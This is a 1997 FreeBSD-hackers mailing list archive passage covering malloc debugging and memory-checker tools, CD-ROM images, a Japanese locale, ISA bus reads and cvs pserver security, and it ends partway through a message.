(MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id RAA15292; Thu, 18 Sep 1997 17:40:43 -0600 (MDT) Date: Thu, 18 Sep 1997 17:40:43 -0600 (MDT) Message-Id: <199709182340.RAA15292@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Terry Lambert Cc: nate@mt.sri.com (Nate Williams), phk@critter.freebsd.dk, gram@cdsec.com, hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-Reply-To: <199709182207.PAA17437@usr03.primenet.com> References: <199709182146.PAA14637@rocky.mt.sri.com> <199709182207.PAA17437@usr03.primenet.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > Now you must find the length of the loop. You save the current > > > pointer, and traverse until you see it again, counting. This count > > > is the length of the loop. .. > The point is to detect the addresses of the objects which when > manipulated resulted in the loop in the first place. Without > that information, you;ll only know you have a loop. Big deal, I > can tell I have a loop when it hangs in malloc() forever. 8-). Ahh, at this point you dump core, and then the debugger can be used to go look at malloc's lists. Nate From owner-freebsd-hackers Thu Sep 18 16:48:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA18458 for hackers-outgoing; Thu, 18 Sep 1997 16:48:48 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA18449 for ; Thu, 18 Sep 1997 16:48:41 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id BAA07130; Fri, 19 Sep 1997 01:48:20 +0200 (MET DST) Date: Fri, 19 Sep 1997 01:48:20 +0200 (MET DST) Message-Id: <199709182348.BAA07130@bitbox.follo.net> From: Eivind Eklund To: "Jordan K. Hubbard" CC: md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.ORG In-reply-to: "Jordan K. Hubbard"'s message of Wed, 17 Sep 1997 08:41:32 -0700 Subject: Re: CDROM image References: <20322.874510892@time.cdrom.com> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > You mean they make it available for FTP? > > Sure, I could do that easily, I've just never knew that anyone would > really _want_ a 640MB file to download. What do other folks think? Well, for me it would probably change from doing FTP installs to using CDs. I'm just to impatient to wait for a CD from Walnut Creek before installing machines, and just go with FTP installs each time. Burning a CD locally would be a snap if I just had the image available. Eivind, who thought that WC wouldn't want people to be able to burn their own CDs that easily. From owner-freebsd-hackers Thu Sep 18 17:03:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA19375 for hackers-outgoing; Thu, 18 Sep 1997 17:03:05 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA19370 for ; Thu, 18 Sep 1997 17:03:00 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id RAA16724; Thu, 18 Sep 1997 17:02:45 -0700 (PDT) To: Eivind Eklund cc: md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-reply-to: Your message of "Fri, 19 Sep 1997 01:48:20 +0200." <199709182348.BAA07130@bitbox.follo.net> Date: Thu, 18 Sep 1997 17:02:45 -0700 Message-ID: <16720.874627365@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Eivind, who thought that WC wouldn't want people to be able to burn > their own CDs that easily. This is a common misconception. Walnut Creek CDROM actually encourages people to burn their own FreeBSD CDs and distribute them into areas where WC's own CD product isn't making it as effectively as it could or should. As far as Walnut Creek CDROM is concerned, anything which increases the name recognition and installed base of FreeBSD is a good thing and to be encouraged - they know that they can't get FreeBSD into every possible niche market by themselves and they've even tried to get people in China to pirate the FreeBSD CD in hopes that it would spread all over the country like wildfire or something, but no such luck so far. ;-) With the upcoming shift to a 4 CD set, there will also be a lot more market differentiation between those folks who just want to produce a bare minimum installation CD and us, who are producing something more akin to an installation CD + archival resource which contains ports distfiles, the CVS repository, complete and unpacked source & binary trees, etc. If you look at the sheer volume of bits involved, they're really almost completely different products. Jordan From owner-freebsd-hackers Thu Sep 18 17:10:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA19989 for hackers-outgoing; Thu, 18 Sep 1997 17:10:51 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA19700; Thu, 18 Sep 1997 17:07:36 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id RAA19516; Thu, 18 Sep 1997 17:07:35 -0700 (MST) From: Terry Lambert Message-Id: <199709190007.RAA19516@usr06.primenet.com> Subject: Re: RFC: japanese LOCALE stuff To: julian@whistle.com (Julian Elischer) Date: Fri, 19 Sep 1997 00:07:35 +0000 (GMT) Cc: hackers@FreeBSD.ORG, ache@FreeBSD.ORG In-Reply-To: <3421AEC3.446B9B3D@whistle.com> from "Julian Elischer" at Sep 18, 97 03:44:19 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > + /* > + * mskanji.c - locale ja_JP.SJIS support > + * Copyright (c) 1995 > + * Sin'ichiro MIYATANI Phase One Inc. All rights reserved. > + */ What's the status on this thing? Unfortunately, I haven't done enough Shift-JIS stuff for this to be useful; I've mostly been intending on using Unicode and XPG/4 style code for an ISO10646 (Unicode) locale. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 17:11:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20016 for hackers-outgoing; Thu, 18 Sep 1997 17:11:04 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20004; Thu, 18 Sep 1997 17:10:58 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id CAA07340; Fri, 19 Sep 1997 02:10:43 +0200 (MET DST) Date: Fri, 19 Sep 1997 02:10:43 +0200 (MET DST) Message-Id: <199709190010.CAA07340@bitbox.follo.net> From: Eivind Eklund To: Graham Wheeler CC: phk@critter.freebsd.dk, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-reply-to: Graham Wheeler's message of Thu, 18 Sep 1997 18:06:51 +0200 (SAT) Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) References: <7198.874597557@critter.freebsd.dk> <199709181606.SAA00506@cdsec.com> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > >This is a preliminary report, as it is still very early and the results > > >we are seeing may be coincidental. > > > > >I'll follow up on this in the morning (South African time) - if the > > >process is still running smoothly this would suggests that there > > >may be a problem with the malloc/free code in libc. > > > > Well, you'll still have to do more to convince me. > > I'll do my best... ;-) > > > The fact that two malloc implementations act differently is no proof > > of one of them being wrong, the different policies they use can make > > a bit difference in the outcome for errors in the main code. > > Agreed. > > > > > Imagine this: > > > > char *p = malloc(12); > > char *q = malloc(12); > > p[12] = 'B'; > > > > In the case of phkmalloc you have written into padding space, > > in the case of many other mallocs you have just destroyed the > > "back" pointer for the *q allocation. The results are very > > different. > > The debug libmalloc that I am now using uses the following layout for > an allocated block: > > | prevlink | nextlink | size | memspace | size | > > i.e. the size is stored both immediately preceding and immediately > following the useable space. As part of the consistency checking, > these two sizes are compared and should match. This should catch almost > all small overruns or underruns, and abort the process. So this > malloc should be less tolerant of bugs in my code than pkhmalloc is, > rather than more tolerant, Try running efence (not in the ports-collection - I'll remedy that). This little gem of a program add a non-accessible page after or before your allocation (both at the same time is not possible), and will give you a core dump the moment you do an invalid access. I've used it to debug large programs for others before; I fortunately haven't needed it since I switched to FreeBSD, and thus don't know how easy it compile here. It compiled cleanly on SGI and Linux, at least. ftp://ftp.science.unitn.it/pub/unix/programming/libraries/efence-2.04.tar.gz Eivind. From owner-freebsd-hackers Thu Sep 18 17:17:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20476 for hackers-outgoing; Thu, 18 Sep 1997 17:17:37 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20471 for ; Thu, 18 Sep 1997 17:17:34 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id SAA20246; Thu, 18 Sep 1997 18:17:20 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id SAA18823; Thu, 18 Sep 1997 18:19:25 -0600 (MDT) Date: Thu, 18 Sep 1997 18:19:25 -0600 (MDT) From: Marc Slemko To: Eivind Eklund cc: itojun@itojun.org, hackers@FreeBSD.ORG Subject: Re: cvs pserver mode In-Reply-To: <199709182330.BAA07105@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Eivind Eklund wrote: > > > > >> does any of you have trouble using pserver mode of cvs? > > >First, don't use pserver. It sucks. Badly. It stores unencrypted > > >passwords on the clients disk and anyone with a shell on the server an > > >steal connections (and hence passwords) from users connecting. Bad. > > >Secondly, you need the --allow-root option to tell it what repositories to > > >use. This is new in 1.9.10 or something like that. > > > > [option list deleted] > > - give an account (say, "mygroup") to them and use rsh/ssh > > I consider this the only sensible thing. Give them an account with > the shell pointing at a text file containing > #!/bin/sh > /usr/bin/cvs server > > and set permissions so they can't write to the cvs repository. Little To do this, you need to hack cvs to allow read-only respositories and be sure that you have _no_ way that anyone can upload arbitrary files that will be readable by the user running the above. If you have something like anonymous ftp uploads which are world readable, then they can trivially get a shell as the uid cvs runs as. Hmm, wonder if the --allow-root option works with cvs "server"... > security risk (except that they can exploit bugs in cvs) - even less > if you go for a chrooted environment (which will probably need some > hacking to get set up) From owner-freebsd-hackers Thu Sep 18 17:32:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA21563 for hackers-outgoing; Thu, 18 Sep 1997 17:32:10 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA21552 for ; Thu, 18 Sep 1997 17:32:02 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id JAA02973; Fri, 19 Sep 1997 09:59:42 +0930 (CST) Message-Id: <199709190029.JAA02973@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: hackers@freebsd.org Subject: Re: INB question In-reply-to: Your message of "Thu, 18 Sep 1997 22:18:39 +0200." <19970918221839.VL10449@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Fri, 19 Sep 1997 09:59:39 +0930 From: Mike Smith Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id RAA21558 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > As Mike Smith wrote: > > > > The ISA specification explicitly requires bus pullup resistors. It may > > be unwise to depend on reading 0xff back-to-back with a previous read/ > > write operation, ... > > That's why i wrote ``unspecified, with a tendency to 0xff''. The implication (as an english speaker) from your claim was "unspecified but sometimes 0xff". It would be civilised to qualify the "tendency" under the circumstances. > > but the reader is welcome to calculate the RC time constant for a > > transmission line with a few pF of capacitance and a 10K (or less) > > pullup. > > j@uriah 132% perl -e 'print 50e-12 * 10e3; print "\n"' > 5e-07 > > I think 50 pF is rather an understatement. 0.5 µs doesn't seem to be > terribly short, but IIRC, ISA inb's are artificially deferred by 1.25 > µs, so chances are good to actually see 0xff. I wouldn't rely on it > for a back-to-back read, however. 50pf is a little on the low side, granted. I don't have my copy of Solari handy to check, but a quick eyeball of the boards to hand indicates that something lower like 4k7 is common practice, so 500ns drift-up time is not unreasonable. OBTW, see my trailing comment wrt. transfer rates; if ISA read cycles are deferred by 1.25us, how do I manage 1.3MW/sec from a user-space process? (This is with a P166 on an HX board; nothing special.) mike From owner-freebsd-hackers Thu Sep 18 18:28:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA25588 for hackers-outgoing; Thu, 18 Sep 1997 18:28:54 -0700 (PDT) Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.219]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA25582 for ; Thu, 18 Sep 1997 18:28:51 -0700 (PDT) Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14]) by palrel3.hp.com (8.8.5/8.8.5tis) with ESMTP id RAA04222; Thu, 18 Sep 1997 17:13:58 -0700 (PDT) Received: from mina.sr.hp.com by srmail.sr.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA100278037; Thu, 18 Sep 1997 17:13:57 -0700 Received: from mina.sr.hp.com by mina.sr.hp.com with SMTP (1.37.109.16/15.5+ECS 3.3) id AA250148036; Thu, 18 Sep 1997 17:13:56 -0700 Message-Id: <199709190013.AA250148036@mina.sr.hp.com> To: "Jordan K. Hubbard" Cc: hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) Reply-To: darrylo@sr.hp.com In-Reply-To: Your message of "Thu, 18 Sep 1997 11:25:49 PDT." <11017.874607149@time.cdrom.com> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Date: Thu, 18 Sep 1997 17:13:56 -0700 From: Darryl Okahata Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Man, I sure wish there was a copy of purify available for FreeBSD. > It's great at catching stuff like this! :( Yeah, me too. Purify may be "black magic", but it's incredible at how well it works. Anyway, if anyone has copious amounts of free time, they might want to port "checker", a vaguely purify-like memory checker for Linux/Solaris. It works by using a special patched version of GNU as and runtime libraries. I've appended a copy of the "latest" announcement that I could find (it's about a year old, and the author seems to have "disappeared" from the net). The Linux binaries/sources still seem to be available from sunsite, though. I've never tried it, and so I don't know how well it works. -- Darryl Okahata Internet: darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. =============================================================================== Subject: Checker 0.8 is now available From: gingold@patrimonio.enst.fr (Tristan Gingold) Date: 1996/10/17 Message-Id: <545f4u$n04@patrimonio.enst.fr> Organization: Ecole Nationale Superieure des Telecommunications Mime-Version: 1.0 Newsgroups: gnu.misc.discuss This is a kind of announce, but I post here to get comments. File:README Checker V0.8 (c) 1993, 1994, 1995, 1996 Tristan Gingold Hello! This is the new version of Checker. Checker is a debugging tool suite which find memory errors at runtime. As most programmers should know, runtime memory errors are difficult to track down; therefore, it is likely that programmers will be well rewarded for taking the time to learn and use Checker! Version 0.8 of Checker is a transitional version: Checker 0.7 was very machine dependant and difficult to port whereas Checker 0.9 will use a new flag of GCC: -fcheck-memory-usage. As a consequence, it won't use anymore a patched version of AS and a checkered library, but stubs. Futhermore, it will be faster, do not produce bad warnings (structure assignments will work), and will really more portable. Version 0.8 use the 0.7 mechanism by default, but it include a patch for gcc-2.7.2 so that you can use the 0.9 mechanism if you want (See README.BETA). Currently, Checker 0.8 works on: * Sparc Solaris 2.5 (SparcStation20, IPC, IPX but not Ultra). * i386,i486,i586,i686 linux. See the doc if you want to port it on other machines and email me if you are still interested. Checker is a package designed to find runtime memory access errors and incorrect use of malloc(). When Checker finds an error, it prints a warning, including the current stack frames. For more information about this, see the example below. Checker works for C. C++ was not tested. The malloc library of Checker is very robust, this makes it a bit slower than GNU Malloc. Checker issues warnings when: o free() or realloc() is called with a pointer that has not been obtained from malloc(), calloc(), or realloc() o free() or realloc() is called with a pointer that has been previously freed. Checker's malloc will refrain from reusing a freed block for some additional number of calls to free. It does this in order to catch accesses to the block after it has been freed. Checker implements a garbage detector that can be called either in your program, by a debugger such as gdb, or upon program exit. The garbage detector displays all the memory leaks along with the functions that called malloc(). EXAMPLE: Here's a bogus file example.c #include int main () { char *zone = malloc (20); char *ptr = NULL; int i; char c; c = zone[1]; /* error: read an uninitialized char */ c = zone[-2]; /* error: read before the zone */ zone[25] = ' '; /* error: write after the zone */ *ptr = 2; /* error: use a NULL pointer, must produce a core */ } Compile: % checkergcc -o example example.c and then run the program: % ./example Checker 0.8 (i486-unknown-linux) Copyright (C) 1996 Tristan Gingold. This program has been compiled with `checkergcc' or `checkerg++'. Checker is a memory access detector. Checker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. For more information, set CHECKEROPTS to `--help' >From Checker (pid:00633): `./example' is running (Sat Oct 12 14:52:40 1996) >From Checker (pid:00633): (ruh) read uninitialized byte(s) in a block. When Reading 1 byte(s) at address 0x08063271, inside the heap (sbrk). 1 bytes into a block (start: 0x8063270, length: 20, mdesc: 0x0). The block was allocated from: pc=0x080518d0 in malloc() at ../l-malloc/malloc.c:251 pc=0x080481dc in main() at ../example.c:7 pc=0x0804810c in _start() at :0 Stack frames are: pc=0x0804820e in main() at ../example.c:12 pc=0x0804810c in _start() at :0 >From Checker (pid:00633): (bvh) block bounds violation in the heap. When Reading 1 byte(s) at address 0x0806326e, inside the heap (sbrk). 2 bytes before a block (start: 0x8063270, length: 20, mdesc: 0x0). The block was allocated from: pc=0x080518d0 in malloc() at ../l-malloc/malloc.c:251 pc=0x080481dc in main() at ../example.c:7 pc=0x0804810c in _start() at :0 Stack frames are: pc=0x08048231 in main() at ../example.c:13 pc=0x0804810c in _start() at :0 >From Checker (pid:00633): (bvh) block bounds violation in the heap. When Writing 1 byte(s) at address 0x08063289, inside the heap (sbrk). 5 bytes after a block (start: 0x8063270, length: 20, mdesc: 0x0). The block was allocated from: pc=0x080518d0 in malloc() at ../l-malloc/malloc.c:251 pc=0x080481dc in main() at ../example.c:7 pc=0x0804810c in _start() at :0 Stack frames are: pc=0x08048254 in main() at ../example.c:14 pc=0x0804810c in _start() at :0 >From Checker (pid:00633): (nza) null zone addressed. When Writing 1 byte(s) at address 0x00000000, inside the NULL zone. You probably deferenced a null pointer. THIS SHOULD CAUSE A SEGMENTATION FAULT. Stack frames are: pc=0x08048269 in main() at ../example.c:15 pc=0x0804810c in _start() at :0 >From Checker (pid:00633): (sig) signal. Receive signal 11 (SEGV): (default action: terminate core ). Segmentation fault For more information, see the NOTES and doc/checker.texi files. If you like Checker, use it and try to find bugs.... If you find a bug, have a suggestion, dislike Checker, want to make it better, want to port it, or find an English mistake, email me at: gingold@email.enst.fr (Note my new address. BTW, I cannot read mails posted to my old address, so, please send them to my new address if you didn't get an answer. Happy Checking. Tristan. Begin3 Title: Checker Version: 0.8 Entered-date: 15OCT96 Description: Checker is a malloc debuger, a garbage collector and a detector of bad memory access. It uses code insertion. Checker emits a report when a bad memory pointer is used, when you read an unitialized buffer... Keywords: checker, malloc, debuger, garbage collector, code insertion Author: gingold@email.enst.fr Maintained-by: gingold@email.enst.fr Primary-site: sunsite.unc.edu /pub/Linux/devel/lang/c 569880 bytes Checker-0.8.tgz 1550984 bytes Checker-libs-0.8.tgz (not yet available) Checker-libg++-0.8.tgz Alternate-site: Original-site: Platforms: Linux v2.0 or later, GCC 2.7.2 (elf), libc 5 Copying-policy: GPL End From owner-freebsd-hackers Thu Sep 18 18:30:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA25763 for hackers-outgoing; Thu, 18 Sep 1997 18:30:21 -0700 (PDT) Received: from dublin.iona.ie (root@operation.dublin.iona.ie [192.122.221.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA25749 for ; Thu, 18 Sep 1997 18:30:15 -0700 (PDT) Received: from ultra (ultra [192.122.221.136]) by dublin.iona.ie (8.7.5/jm-1.01) with SMTP id CAA23602 for ; Fri, 19 Sep 1997 02:30:08 +0100 (BST) Date: Fri, 19 Sep 1997 02:29:43 +0100 (BST) From: Niall Smart X-Sender: nsmart@ultra To: freebsd-hackers@freebsd.org Subject: Re: malloc bug? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, With regard to strange memory leaks: I once had an application written in C++ which would segfault with g++ 2.7.2 but not with earlier versions. I suspected a bug in g++ itself, but eventually tracked it down to using a new[] with delete instead of delete []; Just my 2c -- Niall Smart Customer Engineering, IONA Technologies. (www.iona.com) From owner-freebsd-hackers Thu Sep 18 18:33:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA26119 for hackers-outgoing; Thu, 18 Sep 1997 18:33:04 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA26110 for ; Thu, 18 Sep 1997 18:32:56 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id KAA03694; Fri, 19 Sep 1997 10:59:08 +0930 (CST) Message-Id: <199709190129.KAA03694@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Eivind Eklund cc: "Jordan K. Hubbard" , md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.org Subject: Re: CDROM image In-reply-to: Your message of "Fri, 19 Sep 1997 01:48:20 +0200." <199709182348.BAA07130@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 10:59:03 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Well, for me it would probably change from doing FTP installs to using > CDs. I'm just to impatient to wait for a CD from Walnut Creek before > installing machines, and just go with FTP installs each time. Burning > a CD locally would be a snap if I just had the image available. You don't have the resources, or the inclination to cut your own? I'd always want to mung things to suit myself. > Eivind, who thought that WC wouldn't want people to be able to burn > their own CDs that easily. I can't see how they'd be bothered; for most people a 650MB download is going to cost more than the CD... mike From owner-freebsd-hackers Thu Sep 18 18:40:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA27062 for hackers-outgoing; Thu, 18 Sep 1997 18:40:28 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA27053 for ; Thu, 18 Sep 1997 18:40:23 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id SAA13936 for ; Thu, 18 Sep 1997 18:34:45 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd013934; Fri Sep 19 01:34:44 1997 Message-ID: <3421D68A.167EB0E7@whistle.com> Date: Thu, 18 Sep 1997 18:34:02 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Japanese speakers.. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I checked in a shift-JIS Locale for time conversions today. some of it seems to match what we know, but some of it is a bit beyond my ability to check any comments will be gratefully accepted. julian From owner-freebsd-hackers Thu Sep 18 18:44:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA27449 for hackers-outgoing; Thu, 18 Sep 1997 18:44:46 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA27442 for ; Thu, 18 Sep 1997 18:44:40 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id LAA00927; Fri, 19 Sep 1997 11:14:34 +0930 (CST) Message-ID: <19970919111434.20114@lemis.com> Date: Fri, 19 Sep 1997 11:14:34 +0930 From: Greg Lehey To: Mike Smith Cc: Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: INB question References: <19970918221839.VL10449@uriah.heep.sax.de> <199709190029.JAA02973@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709190029.JAA02973@word.smith.net.au>; from Mike Smith on Fri, Sep 19, 1997 at 09:59:39AM +0930 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 09:59:39AM +0930, Mike Smith wrote: >> As Mike Smith wrote: >>> >>> The ISA specification explicitly requires bus pullup resistors. It may >>> be unwise to depend on reading 0xff back-to-back with a previous read/ >>> write operation, ... >> >> That's why i wrote ``unspecified, with a tendency to 0xff''. > > The implication (as an english speaker) from your claim was > "unspecified but sometimes 0xff". It would be civilised to qualify the > "tendency" under the circumstances. To be fair, I think that this is the same as "indeterminate, but with an above-average likelihood of being 0xff". I don't think this has anything to do with the fact that I speak German. Greg From owner-freebsd-hackers Thu Sep 18 19:01:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA28628 for hackers-outgoing; Thu, 18 Sep 1997 19:01:25 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA28413; Thu, 18 Sep 1997 18:59:09 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id KAA09996; Fri, 19 Sep 1997 10:51:40 +0900 (JST) To: Terry Lambert Cc: hackers@freebsd.org, ache@freebsd.org Subject: Re: RFC: japanese LOCALE stuff X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <199709190007.RAA19516@usr06.primenet.com> In-reply-to: Terry Lambert 's message of Fri, 19 Sep 1997 00:07:35 +0000 (GMT). <199709190007.RAA19516@usr06.primenet.com> X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Fri, 19 Sep 1997 10:51:38 +0900 Message-ID: <9993.874633898@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> + /* >> + * mskanji.c - locale ja_JP.SJIS support >> + * Copyright (c) 1995 >> + * Sin'ichiro MIYATANI Phase One Inc. All rights reserved. >> + */ >What's the status on this thing? did anybody contacted the author? (siu@phaseone.co.jp) if not i can. itojun From owner-freebsd-hackers Thu Sep 18 19:06:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA28935 for hackers-outgoing; Thu, 18 Sep 1997 19:06:32 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA28927; Thu, 18 Sep 1997 19:06:27 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id TAA01084; Thu, 18 Sep 1997 19:06:21 -0700 (PDT) Message-ID: <19970918190620.27911@hydrogen.nike.efn.org> Date: Thu, 18 Sep 1997 19:06:20 -0700 From: John-Mark Gurney To: Andrew Atrens Cc: hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) References: <199709182202.PAA10664@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199709182202.PAA10664@hub.freebsd.org>; from Andrew Atrens on Thu, Sep 18, 1997 at 05:59:00PM -0500 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Andrew Atrens scribbled this message on Sep 18: > In message "Bug in malloc/free (was: Memory leak in getservbyXXX?)", 